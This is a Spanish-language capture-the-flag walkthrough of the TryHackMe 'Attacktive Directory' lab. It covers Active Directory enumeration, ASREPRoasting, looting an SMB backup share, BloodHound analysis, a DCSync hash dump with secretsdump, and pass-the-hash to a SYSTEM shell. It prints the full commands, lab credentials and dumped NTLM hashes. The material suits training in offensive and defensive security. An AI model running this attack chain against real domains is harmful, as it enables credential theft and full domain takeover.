Para esta máquina es necesario tener Impacket, Bloodhound y Neo4j instalados. Podemos instalarlo en Kali Linux con:
sudo apt install impacket bloodhound neo4j
Enumeración
Escaneo de puertos
sudo nmap -v -sV -sCV -T5 10.10.26.240
Nmap scan report for 10.10.26.240
Host is up (0.038s latency).
Not shown: 902 closed tcp ports (reset), 84 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-26 17:55:44Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: THM-AD
| NetBIOS_Domain_Name: THM-AD
| NetBIOS_Computer_Name: ATTACKTIVEDIREC
| DNS_Domain_Name: spookysec.local
| DNS_Computer_Name: AttacktiveDirectory.spookysec.local
| Product_Version: 10.0.17763
|_ System_Time: 2025-03-26T17:55:46+00:00
| ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
| Issuer: commonName=AttacktiveDirectory.spookysec.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-03-25T17:52:24
| Not valid after: 2025-09-24T17:52:24
| MD5: 1ed5:d662:02ab:4b75:fb03:8a67:4792:a10b
|_SHA-1: ffa5:3601:5900:44b7:c439:c5b2:c1ba:fece:4f0a:12b8
|_ssl-date: 2025-03-26T17:55:55+00:00; 0s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows
Encontramos multitud de puertos abiertos, lo normal en máquinas Windows Active Directory. Destacamos los puertos:
445 - SMB
3268 - LDAP
3389 - RDP
5985 - WinRM
También encontramos el nombre del dominio, que añadiremos a nuestro /ect/hosts junto con la IP:
sudo echo "10.10.26.240 spookysec.local" | sudo tee -a /etc/hosts
Enumeración de usuarios via Kerberos
Vamos a usar kerbrute. Podemos instalarlo en Kali Linux con:
Nos guardamos estos usuarios en una lista valid-users.txt que usaremos para otros ataques:
valid-users.txt
james
svc-admin
svc-admin
robin
darkstar
administrator
backup
paradox
ori
Abuso de Kerberos
Una vez finalizada la enumeración de cuentas de usuario, podemos intentar abusar de una característica dentro de Kerberos con un método de ataque llamado ASREPRoasting.
El ASREPRoasting ocurre cuando una cuenta de usuario tiene el privilegio "Does not require Pre-Authentication" . Esto significa que la cuenta no necesita proporcionar una identificación válida antes de solicitar un ticket Kerberos para la cuenta de usuario especificada.
Recuperación de tickets Kerberos
Impacket cuenta con una herramienta llamada " GetNPUsers.py " que nos permite consultar cuentas ASReproastables desde el Key Distribution Center (KDC). Lo único necesario para consultar cuentas es un conjunto válido de nombres de usuario , que enumeramos previamente mediante Kerbrute.
afsh4ck@kali$ impacket-GetNPUsers spookysec.local/ -usersfile valid-users.txt -dc-ip 10.10.26.240
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] User james doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc-admin@SPOOKYSEC.LOCAL:42db3ad24ab2c4c34b2babd3c834a164$35d839b45ecbf6834017a6a240d0cd009bc3ca67c7f4bf961be3f7cb36401debf03e4aea6b79541077335707178a103d1c977d56daeb378652bb9a000c9fc6d34a3785fa0bde03d4c81f74da3e430623ba3b6e2d28b15228d231f1e1f6413660e8095c1bcec1b8ff13bcf38b026137ae6faf51dcb3f80905b8888d168fd156fff0c4a1374d91082f4e59987c981197aeabbb048cbcb5f60cf973a6534346519cf7df42a37ea679e5b3d4b80e06455765e73ef2cd31e87af46da9d58655d8178eaffdc7af8ec7113a32131260aedd9f0fb3f78cf6e720bfae189dffea66c480e5c7ed5e2ca37cc2da88ec1cafb5afd8550266
[-] User robin doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User darkstar doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User backup doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User paradox doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ori doesn't have UF_DONT_REQUIRE_PREAUTH set
Obtenemos el hash del usuario svc-admin, que guardaremos en un archivo hash.txt para crackearlo con hashcat y el modo 18200 (Kerberos):
Encontramos la contraseña en plano del usuario svc-admin!
Enumeración
Con las credenciales de esta cuenta de usuario, ahora tenemos mucho más acceso al dominio. Podemos intentar enumerar los recursos compartidos que el controlador de dominio pueda estar asignando.
Con smbclient -L podemos enumerar SMB Shares de una forma muy sencilla:
smbclient -L 10.10.26.240 -U spookysec.local/svc-admin%management2005
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
backup Disk
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.26.240 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
También podemos usar SMBMap para obtener algo más de información:
Nos interesa sobre todo el de backup, que puede contener archivos interesantes que contengan credenciales:
afsh4ck@kali$ smbclient -U svc-admin //10.10.26.240/backup
Password for [WORKGROUP\svc-admin]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Apr 4 21:08:39 2020
.. D 0 Sat Apr 4 21:08:39 2020
backup_credentials.txt A 48 Sat Apr 4 21:08:53 2020
8247551 blocks of size 4096. 3604534 blocks available
smb: \> get backup_credentials.txt
getting file \backup_credentials.txt of size 48 as backup_credentials.txt (0,1 KiloBytes/sec) (average 0,1 KiloBytes/sec)
Nos descargamos el archivo backup_credentials.txt. Vamos a echarle un ojo:
Ahora ya podemos ejecutar bloodhound-python de la siguiente manera. Usaremos las credenciales del usuario backup:
afsh4ck@kali$ bloodhound-python -d spookysec.local -u backup -p backup2517860 -dc AttacktiveDirectory.spookysec.local -c All --dns-tcp --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: spookysec.local
INFO: Getting TGT for user
INFO: Connecting to LDAP server: AttacktiveDirectory.spookysec.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: AttacktiveDirectory.spookysec.local
INFO: Found 18 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 3 ous
INFO: Found 21 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: AttacktiveDirectory.spookysec.local
INFO: Done in 00M 12S
INFO: Compressing output into 20250326202635_bloodhound.zip
Esto nos genera el zip que debemos importar en BloodHound. Para ello vamos a instalarlo y levantar Neo4j, que es la base de datos necesaria para que funcione la herramienta:
sudo apt install bloodhound
sudo neo4j console
# Abrimos el link de localhost
Username: neo4j
Password: neo4j
Si es la primera vez que accedemos a Neo4j nos pedirá cambiar la contraseña
Ahora en una nueva terminal ejecutamos Bloodhound y lo vinculamos a la base de datos de Neo4j:
En la interfaz importamos el zip desde la opción Upload Data:
Domain Admins
Vemos que hay solo 2 usuarios Domain Admins: a-spooks y administrator:
DcSync Right
En la opción Analysis > Find Principals with DCSync Right observamos que el usuario backup tiene permisos GenericAll sobre el DC, lo que significa que podemos realizar el ataque DcSync con este usuario para extraer todos los hashes de los usuarios del dominio. Esto nos serviría para extraer el hash del usuario administrator y conectarnos para obtener la flag.
Escalada de privilegios
Es la hora de intentar hacernos con el control total del dominio AD. Vamos a utilizar otra herramienta de Impacket llamada ‘secretsdumps.py’. Utilizaremos el usuario backup para realizar la extracción de todos los hashes.
Ataque DcSync
afsh4ck@kali$ impacket-secretsdump -just-dc backup:"backup2517860"@10.10.26.240
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:::
spookysec.local\skidy:1103:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\james:1105:aad3b435b51404eeaad3b435b51404ee:9448bf6aba63d154eb0c665071067b6b:::
spookysec.local\optional:1106:aad3b435b51404eeaad3b435b51404ee:436007d1c1550eaf41803f1272656c9e:::
spookysec.local\sherlocksec:1107:aad3b435b51404eeaad3b435b51404ee:b09d48380e99e9965416f0d7096b703b:::
spookysec.local\darkstar:1108:aad3b435b51404eeaad3b435b51404ee:cfd70af882d53d758a1612af78a646b7:::
spookysec.local\Ori:1109:aad3b435b51404eeaad3b435b51404ee:c930ba49f999305d9c00a8745433d62a:::
spookysec.local\robin:1110:aad3b435b51404eeaad3b435b51404ee:642744a46b9d4f6dff8942d23626e5bb:::
spookysec.local\paradox:1111:aad3b435b51404eeaad3b435b51404ee:048052193cfa6ea46b5a302319c0cff2:::
spookysec.local\Muirland:1112:aad3b435b51404eeaad3b435b51404ee:3db8b1419ae75a418b3aa12b8c0fb705:::
spookysec.local\horshark:1113:aad3b435b51404eeaad3b435b51404ee:41317db6bd1fb8c21c2fd2b675238664:::
spookysec.local\svc-admin:1114:aad3b435b51404eeaad3b435b51404ee:fc0f1e5359e372aa1f69147375ba6809:::
spookysec.local\backup:1118:aad3b435b51404eeaad3b435b51404ee:19741bde08e135f4b40f1ca9aab45538:::
spookysec.local\a-spooks:1601:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
<----SNIP---->
Tenemos el hash del usuario administrator! Y el de todos los usuarios del dominio. Vamos a conectarnos por RDP haciendo un Pass the Hash.
Al conectarnos nos da el mítico error de seguridad que no nos permite conectarnos por RDP haciendo un Pass the Hash:
Para bypassearlo vamos a usar impacket-psexec para hacer el Pass the Hash y conseguir una shell como SYSTEM:
afsh4ck@kali$ impacket-psexec -hashes :0e0363213e37b94221497260b0bcb4fc administrator@10.10.26.240 cmd
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 10.10.26.240.....
[*] Found writable share ADMIN$
[*] Uploading file hdDwCtRX.exe
[*] Opening SVCManager on 10.10.26.240.....
[*] Creating service VJXX on 10.10.26.240.....
[*] Starting service VJXX.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1490]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
También podríamos usar EvilWinRM para hacer el pass the hash y obtener una shell, pero solamente obtendríamos una shell como Administrator, no como SYSTEM, por lo que preferiblemente debemos usat Impacket-Psexec:
afsh4ck@kali$ evil-winrm -i 10.10.26.240 -u Administrator -H 0e0363213e37b94221497260b0bcb4fc
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
thm-ad\administrator
Acceso a la flag
C:\Users\Administrator\Desktop> dir
Volume in drive C has no label.
Volume Serial Number is EEA6-70E8
Directory of C:\Users\Administrator\Desktop
04/04/2020 11:39 AM <DIR> .
04/04/2020 11:39 AM <DIR> ..
04/04/2020 11:39 AM 32 root.txt
1 File(s) 32 bytes
2 Dir(s) 14,630,461,440 bytes free
c:\Users\Administrator\Desktop> type root.txt
TryHackMe{4ctive***************}